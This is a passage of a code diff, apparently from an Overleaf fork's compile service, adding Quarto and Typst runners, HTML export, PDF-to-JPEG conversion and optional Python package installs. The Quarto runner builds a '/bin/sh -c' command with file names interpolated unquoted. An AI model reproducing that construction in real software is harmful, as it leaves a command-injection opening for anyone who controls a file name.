Settings.performanceLogSamplingPercentage
|
|
||||||
)
|
|
||||||
|
|
||||||
// Define a `latexmk` property on the stats object
|
|
||||||
// to collect latexmk -time stats.
|
|
||||||
enableLatexMkMetrics(stats)
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
await LatexRunner.promises.runLatex(compileName, {
|
await runner.run(compileName, {
|
||||||
directory: compileDir,
|
directory: compileDir,
|
||||||
mainFile: request.rootResourcePath,
|
mainFile: request.rootResourcePath,
|
||||||
compiler: request.compiler,
|
compiler: request.compiler,
|
||||||
@@ -217,6 +247,8 @@ async function doCompile(request, stats, timings) {
|
|||||||
environment: env,
|
environment: env,
|
||||||
compileGroup: request.compileGroup,
|
compileGroup: request.compileGroup,
|
||||||
stopOnFirstError: request.stopOnFirstError,
|
stopOnFirstError: request.stopOnFirstError,
|
||||||
|
exportMode: request.exportMode,
|
||||||
|
allowPythonInstall: request.allowPythonInstall,
|
||||||
stats,
|
stats,
|
||||||
timings,
|
timings,
|
||||||
})
|
})
|
||||||
@@ -294,50 +326,13 @@ async function doCompile(request, stats, timings) {
|
|||||||
})
|
})
|
||||||
timings.compileE2E = Date.now() - e2eCompileStart
|
timings.compileE2E = Date.now() - e2eCompileStart
|
||||||
|
|
||||||
const status = stats['latexmk-errors'] ? 'error' : 'success'
|
const status = 'success'
|
||||||
_emitMetrics(request, status, stats, timings)
|
_emitMetrics(request, status, stats, timings)
|
||||||
|
|
||||||
if (stats['pdf-size'] && !shouldSkipMetrics(request)) {
|
if (stats['pdf-size'] && !shouldSkipMetrics(request)) {
|
||||||
emitPdfStats(stats, timings, request)
|
emitPdfStats(stats, timings, request)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Record compile performance for a subset of users
|
|
||||||
if (recordPerformanceMetrics) {
|
|
||||||
// Add fdb metrics if available
|
|
||||||
try {
|
|
||||||
const fdbFileContent = await _readFdbFile(compileDir)
|
|
||||||
if (fdbFileContent) {
|
|
||||||
addLatexFdbMetrics(fdbFileContent, stats)
|
|
||||||
}
|
|
||||||
} catch (err) {
|
|
||||||
// ignore errors reading fdb file
|
|
||||||
logger.warn(
|
|
||||||
{ err, projectId, userId },
|
|
||||||
'error reading fdb file for performance metrics'
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
const loadavg = typeof os.loadavg === 'function' ? os.loadavg() : undefined
|
|
||||||
|
|
||||||
logger.info(
|
|
||||||
{
|
|
||||||
userId: request.user_id,
|
|
||||||
projectId: request.project_id,
|
|
||||||
timeTaken: timings.compile,
|
|
||||||
clsiRequest: request,
|
|
||||||
stats,
|
|
||||||
timings,
|
|
||||||
// explicitly include latexmk stats to bypass the non-enumerable property
|
|
||||||
latexmk: stats.latexmk,
|
|
||||||
loadavg1m: loadavg?.[0],
|
|
||||||
loadavg5m: loadavg?.[1],
|
|
||||||
loadavg15m: loadavg?.[2],
|
|
||||||
samplingPercentage: Settings.performanceLogSamplingPercentage,
|
|
||||||
},
|
|
||||||
'sampled performance log'
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
return { outputFiles, buildId, baseHistoryVersion }
|
return { outputFiles, buildId, baseHistoryVersion }
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -366,42 +361,43 @@ async function _saveOutputFiles({
|
|||||||
return { outputFiles, allEntries, buildId }
|
return { outputFiles, allEntries, buildId }
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set a maximum size for reading output.fdb_latexmk files
|
|
||||||
// This limit is chosen to prevent excessive memory usage and ensure performance,
|
|
||||||
// as fdb files are typically much smaller and only metrics are extracted from them.
|
|
||||||
const MAX_FDB_FILE_SIZE = 1024 * 1024 // 1 MB
|
|
||||||
|
|
||||||
async function _readFdbFile(compileDir) {
|
|
||||||
const fdbFile = Path.join(compileDir, 'output.fdb_latexmk')
|
|
||||||
const { result } = await SafeReader.promises.readFile(
|
|
||||||
fdbFile,
|
|
||||||
MAX_FDB_FILE_SIZE,
|
|
||||||
'utf8'
|
|
||||||
)
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
async function stopCompile(projectId, userId) {
|
async function stopCompile(projectId, userId) {
|
||||||
const compileName = getCompileName(projectId, userId)
|
const compileName = getCompileName(projectId, userId)
|
||||||
|
// stopCompile has no root path, so check both runners — only one can be
|
||||||
|
// active for a given compileName at a time.
|
||||||
|
const isRunning =
|
||||||
|
QuartoRunner.isRunning(compileName) ||
|
||||||
|
LatexRunner.isRunning(compileName) ||
|
||||||
|
TypstRunner.isRunning(compileName)
|
||||||
const lock = LockManager.getExistingLock(getCompileDir(projectId, userId))
|
const lock = LockManager.getExistingLock(getCompileDir(projectId, userId))
|
||||||
let lockReleased
|
let lockReleased
|
||||||
if (lock) {
|
if (lock) {
|
||||||
lockReleased = lock.waitForRelease()
|
lockReleased = lock.waitForRelease()
|
||||||
} else {
|
} else {
|
||||||
if (!LatexRunner.isRunning(compileName)) return
|
if (!isRunning) return
|
||||||
logger.warn({ projectId, userId }, 'found running compile without lock')
|
logger.warn({ projectId, userId }, 'found running compile without lock')
|
||||||
lockReleased = Promise.resolve()
|
lockReleased = Promise.resolve()
|
||||||
}
|
}
|
||||||
|
await QuartoRunner.promises.killQuarto(compileName)
|
||||||
await LatexRunner.promises.killLatex(compileName)
|
await LatexRunner.promises.killLatex(compileName)
|
||||||
|
await TypstRunner.promises.killTypst(compileName)
|
||||||
await lockReleased
|
await lockReleased
|
||||||
}
|
}
|
||||||
|
|
||||||
async function clearProject(projectId, userId) {
|
async function clearProject(projectId, userId) {
|
||||||
|
// Kill any live typst watcher before deleting its files.
|
||||||
|
const compileName = getCompileName(projectId, userId)
|
||||||
|
await TypstRunner.promises.killTypst(compileName)
|
||||||
const compileDir = getCompileDir(projectId, userId)
|
const compileDir = getCompileDir(projectId, userId)
|
||||||
await fsPromises.rm(compileDir, { force: true, recursive: true })
|
await fsPromises.rm(compileDir, { force: true, recursive: true })
|
||||||
}
|
}
|
||||||
|
|
||||||
async function clearProjectWithListing(projectId, userId, allEntries) {
|
async function clearProjectWithListing(projectId, userId, allEntries) {
|
||||||
|
// Kill any live typst watcher (e.g. timedout compile where killTypst
|
||||||
|
// was not already called) before removing files from under it.
|
||||||
|
const compileName = getCompileName(projectId, userId)
|
||||||
|
await TypstRunner.promises.killTypst(compileName)
|
||||||
const compileDir = getCompileDir(projectId, userId)
|
const compileDir = getCompileDir(projectId, userId)
|
||||||
|
|
||||||
const exists = await _checkDirectory(compileDir)
|
const exists = await _checkDirectory(compileDir)
|
||||||
|
|||||||
@@ -14,10 +14,12 @@ import RequestParser from './RequestParser.js'
|
|||||||
import { pipeline } from 'node:stream/promises'
|
import { pipeline } from 'node:stream/promises'
|
||||||
import Settings from '@overleaf/settings'
|
import Settings from '@overleaf/settings'
|
||||||
import Path from 'node:path'
|
import Path from 'node:path'
|
||||||
|
import { z } from '@overleaf/validation-tools'
|
||||||
|
|
||||||
const CONVERSION_CONFIGS = {
|
const CONVERSION_CONFIGS = {
|
||||||
docx: { extension: 'docx' },
|
docx: { extension: 'docx' },
|
||||||
markdown: { extension: 'zip' },
|
markdown: { extension: 'zip' },
|
||||||
|
html: { extension: 'zip' },
|
||||||
}
|
}
|
||||||
|
|
||||||
async function convertDocumentToLaTeX(req, res) {
|
async function convertDocumentToLaTeX(req, res) {
|
||||||
@@ -77,6 +79,51 @@ async function convertDocumentToLaTeX(req, res) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const PDFToJPEGQuerySchema = z.object({
|
||||||
|
mode: z.enum(['preview', 'thumbnail']),
|
||||||
|
})
|
||||||
|
|
||||||
|
async function convertPDFToJPEG(req, res) {
|
||||||
|
const { path } = req.file
|
||||||
|
if (!Settings.enablePdfConversions) {
|
||||||
|
await fs.unlink(path).catch(() => {})
|
||||||
|
return res.sendStatus(404)
|
||||||
|
}
|
||||||
|
const parsed = PDFToJPEGQuerySchema.safeParse(req.query)
|
||||||
|
if (!parsed.success) {
|
||||||
|
await fs.unlink(path).catch(() => {})
|
||||||
|
return res.sendStatus(400)
|
||||||
|
}
|
||||||
|
const { mode } = parsed.data
|
||||||
|
logger.debug({ path, mode }, 'received pdf for conversion to jpeg')
|
||||||
|
const conversionId = crypto.randomUUID()
|
||||||
|
let jpegPath
|
||||||
|
try {
|
||||||
|
jpegPath = await ConversionManager.promises.convertPDFToJPEGWithLock(
|
||||||
|
conversionId,
|
||||||
|
path,
|
||||||
|
mode
|
||||||
|
)
|
||||||
|
} finally {
|
||||||
|
await fs.unlink(path).catch(() => {})
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
const jpegStat = await fs.stat(jpegPath)
|
||||||
|
|
||||||
|
res.setHeader('Content-Length', jpegStat.size)
|
||||||
|
res.attachment('output.jpg')
|
||||||
|
res.setHeader('X-Content-Type-Options', 'nosniff')
|
||||||
|
|
||||||
|
const readStream = fsSync.createReadStream(jpegPath)
|
||||||
|
await pipeline(readStream, res)
|
||||||
|
} finally {
|
||||||
|
await fs
|
||||||
|
.rm(Path.dirname(jpegPath), { recursive: true, force: true })
|
||||||
|
.catch(() => {})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function convertProjectToDocument(req, res) {
|
async function convertProjectToDocument(req, res) {
|
||||||
if (!Settings.enablePandocConversions) {
|
if (!Settings.enablePandocConversions) {
|
||||||
return res.sendStatus(404)
|
return res.sendStatus(404)
|
||||||
@@ -207,4 +254,5 @@ async function convertProjectToDocument(req, res) {
|
|||||||
export default {
|
export default {
|
||||||
convertDocumentToLaTeX: expressify(convertDocumentToLaTeX),
|
convertDocumentToLaTeX: expressify(convertDocumentToLaTeX),
|
||||||
convertProjectToDocument: expressify(convertProjectToDocument),
|
convertProjectToDocument: expressify(convertProjectToDocument),
|
||||||
|
convertPDFToJPEG: expressify(convertPDFToJPEG),
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,6 +18,18 @@ const CONVERSION_CONFIGS = {
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const PDF_TO_JPEG_CONFIGS = {
|
||||||
|
preview: { width: 794, quality: 90 },
|
||||||
|
thumbnail: { width: 190, quality: 50 },
|
||||||
|
}
|
||||||
|
|
||||||
|
const PDF_TO_JPEG_INPUT_FILENAME = 'input.pdf'
|
||||||
|
const PDF_TO_JPEG_OUTPUT_FILENAME = 'output.jpg'
|
||||||
|
const PDF_TO_JPEG_OUTPUT_BASENAME = Path.basename(
|
||||||
|
PDF_TO_JPEG_OUTPUT_FILENAME,
|
||||||
|
'.jpg'
|
||||||
|
)
|
||||||
|
|
||||||
async function convertToLaTeXWithLock(conversionId, inputPath, conversionType) {
|
async function convertToLaTeXWithLock(conversionId, inputPath, conversionType) {
|
||||||
const conversionDir = Path.join(Settings.path.compilesDir, conversionId)
|
const conversionDir = Path.join(Settings.path.compilesDir, conversionId)
|
||||||
const lock = LockManager.acquire(conversionDir)
|
const lock = LockManager.acquire(conversionDir)
|
||||||
@@ -150,6 +162,19 @@ const LATEX_EXPORT_CONFIGS = {
|
|||||||
'markdown',
|
'markdown',
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
|
html: {
|
||||||
|
fileExtension: 'html',
|
||||||
|
compressOutput: true,
|
||||||
|
getPandocArgs: ({ outputPath }) => [
|
||||||
|
'--output',
|
||||||
|
outputPath,
|
||||||
|
'--from',
|
||||||
|
'latex',
|
||||||
|
'--to',
|
||||||
|
'html',
|
||||||
|
'--standalone',
|
||||||
|
],
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
async function convertLaTeXToDocumentInDirWithLock(
|
async function convertLaTeXToDocumentInDirWithLock(
|
||||||
@@ -298,9 +323,76 @@ async function convertLaTeXToDocumentInDir(
|
|||||||
return Path.join(compileDir, finalOutputName)
|
return Path.join(compileDir, finalOutputName)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function convertPDFToJPEGWithLock(conversionId, inputPath, mode) {
|
||||||
|
const conversionDir = Path.join(Settings.path.compilesDir, conversionId)
|
||||||
|
const lock = LockManager.acquire(conversionDir)
|
||||||
|
try {
|
||||||
|
return await convertPDFToJPEG(conversionId, conversionDir, inputPath, mode)
|
||||||
|
} finally {
|
||||||
|
lock.release()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function convertPDFToJPEG(conversionId, conversionDir, inputPath, mode) {
|
||||||
|
const config = PDF_TO_JPEG_CONFIGS[mode]
|
||||||
|
await fs.mkdir(conversionDir, { recursive: true })
|
||||||
|
const newSourcePath = Path.join(conversionDir, PDF_TO_JPEG_INPUT_FILENAME)
|
||||||
|
await fs.copyFile(inputPath, newSourcePath)
|
||||||
|
const dstPath = Path.join(conversionDir, PDF_TO_JPEG_OUTPUT_FILENAME)
|
||||||
|
|
||||||
|
try {
|
||||||
|
const { stdout, stderr, exitCode } = await CommandRunner.promises.run(
|
||||||
|
conversionId,
|
||||||
|
[
|
||||||
|
'pdftocairo',
|
||||||
|
'-jpeg',
|
||||||
|
'-jpegopt',
|
||||||
|
`quality=${config.quality}`,
|
||||||
|
'-singlefile',
|
||||||
|
'-scale-to-x',
|
||||||
|
config.width.toString(),
|
||||||
|
'-scale-to-y',
|
||||||
|
'-1', // maintain aspect ratio
|
||||||
|
PDF_TO_JPEG_INPUT_FILENAME,
|
||||||
|
PDF_TO_JPEG_OUTPUT_BASENAME,
|
||||||
|
],
|
||||||
|
conversionDir,
|
||||||
|
Settings.pdftocairoImage,
|
||||||
|
Settings.conversionTimeoutSeconds * 1000,
|
||||||
|
{},
|
||||||
|
'conversions',
|
||||||
|
null
|
||||||
|
)
|
||||||
|
if (exitCode !== 0) {
|
||||||
|
throw new OError('Non-zero exit code from pdftocairo', {
|
||||||
|
exitCode,
|
||||||
|
stderr,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
logger.debug(
|
||||||
|
{ stdout, stderr, exitCode },
|
||||||
|
'pdf-to-jpeg conversion completed'
|
||||||
|
)
|
||||||
|
|
||||||
|
const stat = await fs.lstat(dstPath)
|
||||||
|
if (!stat.isFile()) {
|
||||||
|
throw new OError('output.jpg is not a regular file', { stat })
|
||||||
|
}
|
||||||
|
|
||||||
|
// Clean up the source PDF to leave only the conversion result
|
||||||
|
await fs.unlink(newSourcePath).catch(() => {})
|
||||||
|
} catch (error) {
|
||||||
|
await fs.rm(conversionDir, { force: true, recursive: true }).catch(() => {})
|
||||||
|
throw new OError('pdf-to-jpeg conversion failed').withCause(error)
|
||||||
|
}
|
||||||
|
|
||||||
|
return dstPath
|
||||||
|
}
|
||||||
|
|
||||||
export default {
|
export default {
|
||||||
promises: {
|
promises: {
|
||||||
convertToLaTeXWithLock,
|
convertToLaTeXWithLock,
|
||||||
convertLaTeXToDocumentInDirWithLock,
|
convertLaTeXToDocumentInDirWithLock,
|
||||||
|
convertPDFToJPEGWithLock,
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -197,13 +197,13 @@ function _buildLatexCommand(mainFile, opts = {}) {
|
|||||||
command.push(...opts.flags)
|
command.push(...opts.flags)
|
||||||
}
|
}
|
||||||
|
|
||||||
// TeX Engine selection
|
// TeX Engine selection. A .tex project may carry a non-LaTeX compiler value
|
||||||
const compilerFlag = COMPILER_FLAGS[opts.compiler]
|
// (e.g. 'quarto', the fork-wide default for Project.compiler) because the
|
||||||
if (compilerFlag) {
|
// runner is chosen by file extension, not by this setting. In that case fall
|
||||||
command.push(compilerFlag)
|
// back to pdfLaTeX rather than throwing — throwing here surfaces as an opaque
|
||||||
} else {
|
// HTTP 500 with no compile log.
|
||||||
throw new Error(`unknown compiler: ${opts.compiler}`)
|
const compilerFlag = COMPILER_FLAGS[opts.compiler] || COMPILER_FLAGS.pdflatex
|
||||||
}
|
command.push(compilerFlag)
|
||||||
|
|
||||||
// We want to run latexmk on the tex file which we will automatically
|
// We want to run latexmk on the tex file which we will automatically
|
||||||
// generate from the Rtex/Rmd/md file.
|
// generate from the Rtex/Rmd/md file.
|
||||||
|
|||||||
@@ -89,9 +89,10 @@ export default CommandRunner = {
|
|||||||
err.terminated = true
|
err.terminated = true
|
||||||
return callback(err)
|
return callback(err)
|
||||||
} else if (code === 1) {
|
} else if (code === 1) {
|
||||||
// exit status from chktex
|
// exit status from chktex (and any compiler that exits 1 on failure)
|
||||||
err = new Error('exited')
|
err = new Error('exited')
|
||||||
err.code = code
|
err.code = code
|
||||||
|
err.stdout = stdout // preserve captured output for callers
|
||||||
return callback(err)
|
return callback(err)
|
||||||
} else {
|
} else {
|
||||||
return callback(null, { stdout, exitCode: code })
|
return callback(null, { stdout, exitCode: code })
|
||||||
|
|||||||
@@ -20,16 +20,29 @@ async function walkFolder(compileDir, d, files, allEntries) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Media that an HTML/RevealJS deck references at runtime (img/video/audio).
|
||||||
|
// These are usually project *input* files, which would normally be excluded
|
||||||
|
// from the output set — but for HTML output the browser fetches them from the
|
||||||
|
// output path, so they must be served. (For PDF output they are embedded, so
|
||||||
|
// the exclusion still applies.)
|
||||||
|
const MEDIA_REGEX =
|
||||||
|
/\.(png|jpe?g|gif|svg|webp|avif|bmp|ico|mp4|webm|ogg|ogv|mov|m4v|mp3|wav|m4a|woff2?|ttf|otf)$/i
|
||||||
|
|
||||||
async function findOutputFiles(resources, directory) {
|
async function findOutputFiles(resources, directory) {
|
||||||
const files = []
|
const files = []
|
||||||
const allEntries = []
|
const allEntries = []
|
||||||
await walkFolder(directory, '', files, allEntries)
|
await walkFolder(directory, '', files, allEntries)
|
||||||
|
|
||||||
const incomingResources = new Set(resources.map(resource => resource.path))
|
const incomingResources = new Set(resources.map(resource => resource.path))
|
||||||
|
// For HTML output (Quarto/RevealJS), referenced media must be served even
|
||||||
|
// though it is an input file; see MEDIA_REGEX above.
|
||||||
|
const hasHtmlOutput = files.includes('output.html')
|
||||||
|
|
||||||
const outputFiles = []
|
const outputFiles = []
|
||||||
for (const path of files) {
|
for (const path of files) {
|
||||||
if (incomingResources.has(path)) continue
|
if (incomingResources.has(path)) {
|
||||||
|
if (!(hasHtmlOutput && MEDIA_REGEX.test(path))) continue
|
||||||
|
}
|
||||||
if (path === '.project-sync-state') continue
|
if (path === '.project-sync-state') continue
|
||||||
outputFiles.push({
|
outputFiles.push({
|
||||||
path,
|
path,
|
||||||
|
|||||||
@@ -0,0 +1,365 @@
|
|||||||
|
import Path from 'node:path'
|
||||||
|
import { promisify } from 'node:util'
|
||||||
|
import logger from '@overleaf/logger'
|
||||||
|
import CommandRunner from './CommandRunner.js'
|
||||||
|
import fs from 'node:fs'
|
||||||
|
|
||||||
|
// Maps currently-running Quarto jobs: compileName → PID (or docker container id)
|
||||||
|
const ProcessTable = {}
|
||||||
|
|
||||||
|
function runQuarto(compileName, options, callback) {
|
||||||
|
const { directory, mainFile, image, environment, compileGroup } = options
|
||||||
|
const timeout = options.timeout || 60000
|
||||||
|
|
||||||
|
logger.debug(
|
||||||
|
{ directory, timeout, mainFile, compileGroup },
|
||||||
|
'starting quarto compile'
|
||||||
|
)
|
||||||
|
|
||||||
|
// For the standalone-HTML export we must render a deck whose frontmatter
|
||||||
|
// carries embed-resources (it cannot be set from the CLI: Quarto only honours
|
||||||
|
// embed-resources when it is nested under the format, and a document's own
|
||||||
|
// format block fully overrides project/CLI metadata). So write a temporary
|
||||||
|
// copy of the root .qmd with the options injected and render that instead.
|
||||||
|
let renderTarget = mainFile
|
||||||
|
if (options.exportMode === 'html-standalone') {
|
||||||
|
renderTarget = _writeStandaloneVariant(directory, mainFile)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Where cached per-project venvs live (shared across projects, keyed by the
|
||||||
|
// requirements.vrf hash). Must be on a persistent volume in production.
|
||||||
|
const venvBaseDir =
|
||||||
|
process.env.PYTHON_VENVS_DIR || '/var/lib/overleaf/data/python-venvs'
|
||||||
|
const command = _buildQuartoCommand(
|
||||||
|
renderTarget,
|
||||||
|
options.exportMode,
|
||||||
|
Boolean(options.allowPythonInstall),
|
||||||
|
venvBaseDir
|
||||||
|
)
|
||||||
|
|
||||||
|
ProcessTable[compileName] = CommandRunner.run(
|
||||||
|
compileName,
|
||||||
|
command,
|
||||||
|
directory,
|
||||||
|
image,
|
||||||
|
timeout,
|
||||||
|
environment || {},
|
||||||
|
compileGroup,
|
||||||
|
null,
|
||||||
|
function (error, output) {
|
||||||
|
delete ProcessTable[compileName]
|
||||||
|
|
||||||
|
// Propagate real process-level errors (killed, timed out) but NOT
|
||||||
|
// ordinary non-zero exit codes from Quarto itself. A Quarto compile
|
||||||
|
// failure (exit code 1) is not a server error — the absence of
|
||||||
|
// output.pdf is sufficient for CompileController to return 'failure'.
|
||||||
|
if (error && (error.terminated || error.timedout)) {
|
||||||
|
return callback(error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// On exit-code-1 errors LocalCommandRunner attaches stdout to the
|
||||||
|
// error object; merge it so _writeLogOutput can persist it.
|
||||||
|
const combined = output || (error ? { stdout: error.stdout || '' } : null)
|
||||||
|
_writeLogOutput(compileName, directory, combined, () =>
|
||||||
|
_appendMissingResourceWarnings(directory, () =>
|
||||||
|
callback(null, combined)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
}
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function _buildQuartoCommand(
|
||||||
|
renderTarget,
|
||||||
|
exportMode,
|
||||||
|
allowPythonInstall,
|
||||||
|
venvBaseDir
|
||||||
|
) {
|
||||||
|
// Run through a POSIX shell so stderr is merged into stdout (2>&1).
|
||||||
|
// LocalCommandRunner replaces $COMPILE_DIR before the shell sees it.
|
||||||
|
//
|
||||||
|
// We do NOT pass --to or --output: let the YAML frontmatter decide the
|
||||||
|
// output format (typst → output.pdf, revealjs → output.html, etc.).
|
||||||
|
//
|
||||||
|
// For a normal preview compile we do NOT embed resources. A self-contained
|
||||||
|
// single-file HTML breaks reveal.js plugins that load/store resources at
|
||||||
|
// runtime (e.g. chalkboard, multiplex) and is slow to transfer. Instead
|
||||||
|
// Quarto emits the HTML plus a sibling "<basename>_files/" asset directory;
|
||||||
|
// the HTML references it with relative paths. Both the html and the asset
|
||||||
|
// dir are served from the same .../output/ path, so the relative links
|
||||||
|
// resolve. For the 'html-standalone' export, runQuarto instead renders a
|
||||||
|
// temporary copy of the deck (renderTarget) whose frontmatter enables
|
||||||
|
// embed-resources, producing a single portable file.
|
||||||
|
//
|
||||||
|
// After render we rename the produced top-level file to output.pdf or
|
||||||
|
// output.html. The asset directory keeps its "<basename>_files" name; the
|
||||||
|
// renamed output.html still points at it via the unchanged relative refs.
|
||||||
|
//
|
||||||
|
// The extension merge (cp -rn, no-clobber so user extensions win) and the
|
||||||
|
// trailing semicolon (so a missing /opt/quarto-extensions doesn't abort)
|
||||||
|
// are kept. mv uses relative paths because LocalCommandRunner.replace()
|
||||||
|
// only substitutes the FIRST $COMPILE_DIR and the shell CWD is the dir.
|
||||||
|
const inputPath = `$COMPILE_DIR/${renderTarget}`
|
||||||
|
const baseName = renderTarget.replace(/\.[^/.]+$/, '') // strip extension
|
||||||
|
|
||||||
|
let tail =
|
||||||
|
`(mv ${baseName}.pdf output.pdf 2>/dev/null || ` +
|
||||||
|
`mv ${baseName}.html output.html 2>/dev/null)`
|
||||||
|
|
||||||
|
if (exportMode === 'pdf-slides') {
|
||||||
|
// After producing output.html, print it to output-slides.pdf with decktape
|
||||||
|
// (headless Chromium via Puppeteer). The CLSI runtime user has no writable
|
||||||
|
// HOME, so Chromium's crashpad can't create its database and the browser
|
||||||
|
// dies on launch ("chrome_crashpad_handler: --database is required").
|
||||||
|
// Point HOME / XDG dirs / the Chromium user-data-dir at a fresh writable
|
||||||
|
// temp dir to give it somewhere to write.
|
||||||
|
// --no-sandbox: Chromium can't sandbox as a non-root container user
|
||||||
|
// --disable-dev-shm-usage: a tiny container /dev/shm crashes Chromium
|
||||||
|
// --disable-gpu: there is no GPU in the container
|
||||||
|
tail +=
|
||||||
|
` && CHROME_HOME="$(mktemp -d)" && ` +
|
||||||
|
`HOME="$CHROME_HOME" XDG_CONFIG_HOME="$CHROME_HOME" ` +
|
||||||
|
`XDG_CACHE_HOME="$CHROME_HOME" decktape ` +
|
||||||
|
`--chrome-arg=--no-sandbox ` +
|
||||||
|
`--chrome-arg=--disable-dev-shm-usage ` +
|
||||||
|
`--chrome-arg=--disable-gpu ` +
|
||||||
|
`--chrome-arg=--user-data-dir="$CHROME_HOME/data" ` +
|
||||||
|
`"$(pwd)/output.html" output-slides.pdf 2>&1`
|
||||||
|
}
|
||||||
|
|
||||||
|
// For the standalone export, remove the temporary render copy afterwards so
|
||||||
|
// it can't be mistaken for a project file or picked up by a later preview
|
||||||
|
// compile. Runs regardless of render success (";").
|
||||||
|
const cleanup =
|
||||||
|
exportMode === 'html-standalone'
|
||||||
|
? `; rm -rf ${baseName}.qmd ${baseName}_files`
|
||||||
|
: ''
|
||||||
|
|
||||||
|
const venvPrep = allowPythonInstall ? _pythonVenvPrep(venvBaseDir) : ''
|
||||||
|
|
||||||
|
const cmd =
|
||||||
|
`mkdir -p _extensions && ` +
|
||||||
|
`cp -rn /opt/quarto-extensions/_extensions/. _extensions/ 2>/dev/null; ` +
|
||||||
|
venvPrep +
|
||||||
|
`quarto render ${inputPath} 2>&1 && ` +
|
||||||
|
tail +
|
||||||
|
cleanup
|
||||||
|
return ['/bin/sh', '-c', cmd]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Shell snippet (run before `quarto render`, in the compile dir) that installs
|
||||||
|
// a project's requirements.vrf into a venv cached by the file's sha256 and
|
||||||
|
// points Quarto at it via QUARTO_PYTHON. Notes:
|
||||||
|
// - The venv is shared across projects/compiles (keyed by content hash), so
|
||||||
|
// identical dependency sets are built once.
|
||||||
|
// - --system-site-packages keeps the bundled scientific stack + ipykernel
|
||||||
|
// visible, so only the *extra* packages are installed.
|
||||||
|
// - A per-hash flock serialises concurrent compiles building the same venv.
|
||||||
|
// - Everything is merged to stdout so pip output/errors land in output.log;
|
||||||
|
// on failure QUARTO_PYTHON is left unset and the render falls back to the
|
||||||
|
// base interpreter (the missing-package error then surfaces normally).
|
||||||
|
// - Only $-shell vars / $(...) are used (no ${...}) to avoid clashing with
|
||||||
|
// JS template interpolation; only ${venvBaseDir} is substituted by JS.
|
||||||
|
function _pythonVenvPrep(venvBaseDir) {
|
||||||
|
return (
|
||||||
|
`if [ -f requirements.vrf ]; then ` +
|
||||||
|
`VBASE="${venvBaseDir}"; ` +
|
||||||
|
`RHASH=$(sha256sum requirements.vrf 2>/dev/null | cut -d" " -f1); ` +
|
||||||
|
`if [ -n "$RHASH" ]; then ` +
|
||||||
|
`VDIR="$VBASE/$RHASH"; mkdir -p "$VBASE" 2>/dev/null; ` +
|
||||||
|
`( flock 9 || exit 0; ` +
|
||||||
|
`if [ ! -f "$VDIR/.verso-ready" ]; then ` +
|
||||||
|
`echo "Installing Python packages from requirements.vrf..."; rm -rf "$VDIR"; ` +
|
||||||
|
`python3 -m venv --system-site-packages "$VDIR" ` +
|
||||||
|
`&& "$VDIR/bin/pip" install --no-input --disable-pip-version-check -r requirements.vrf ` +
|
||||||
|
// Register a python3 kernelspec INSIDE the venv (argv -> the venv's python)
|
||||||
|
// so Quarto runs the kernel in the venv, not the base /usr/bin/python3 from
|
||||||
|
// the global kernelspec. ipykernel is visible via --system-site-packages.
|
||||||
|
`&& "$VDIR/bin/python3" -m ipykernel install --sys-prefix --name python3 --display-name "Python 3" ` +
|
||||||
|
`&& touch "$VDIR/.verso-ready" ` +
|
||||||
|
`|| echo "ERROR: Failed to install Python packages from requirements.vrf"; ` +
|
||||||
|
`fi ` +
|
||||||
|
`) 9>"$VBASE/.$RHASH.lock" 2>&1; ` +
|
||||||
|
`if [ -f "$VDIR/.verso-ready" ]; then export QUARTO_PYTHON="$VDIR/bin/python3"; fi; ` +
|
||||||
|
`fi; ` +
|
||||||
|
`fi; `
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write a temporary copy of the root .qmd with embed-resources enabled in its
|
||||||
|
// frontmatter, returning the temp filename to render. On any problem (no
|
||||||
|
// frontmatter, not a nested revealjs deck, read/write error) it falls back to
|
||||||
|
// the original mainFile — the export then just isn't self-contained, which is
|
||||||
|
// no worse than before. The temp file lives in the same directory so relative
|
||||||
|
// resources (images, _extensions) still resolve.
|
||||||
|
function _writeStandaloneVariant(directory, mainFile) {
|
||||||
|
try {
|
||||||
|
const content = fs.readFileSync(Path.join(directory, mainFile), 'utf8')
|
||||||
|
const transformed = _injectRevealjsStandaloneOptions(content)
|
||||||
|
if (!transformed) return mainFile
|
||||||
|
const base = mainFile.replace(/\.[^/.]+$/, '')
|
||||||
|
const tempName = `${base}.verso-standalone.qmd`
|
||||||
|
fs.writeFileSync(Path.join(directory, tempName), transformed)
|
||||||
|
return tempName
|
||||||
|
} catch (err) {
|
||||||
|
logger.warn({ err, directory, mainFile }, 'could not prepare standalone qmd')
|
||||||
|
return mainFile
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Inject the self-contained options into the `revealjs:` block of a deck's
|
||||||
|
// YAML frontmatter. embed-resources/self-contained-math inline all CSS/JS/
|
||||||
|
// images/MathJax into one portable file; chalkboard must be off (it is
|
||||||
|
// incompatible with embed-resources and would error the render). Keys already
|
||||||
|
// present in the block are overwritten in place (so we never create duplicate
|
||||||
|
// YAML keys, e.g. an existing `chalkboard: true`); missing keys are inserted.
|
||||||
|
// Returns the new document text, or null if it isn't a nested-revealjs deck we
|
||||||
|
// can safely edit.
|
||||||
|
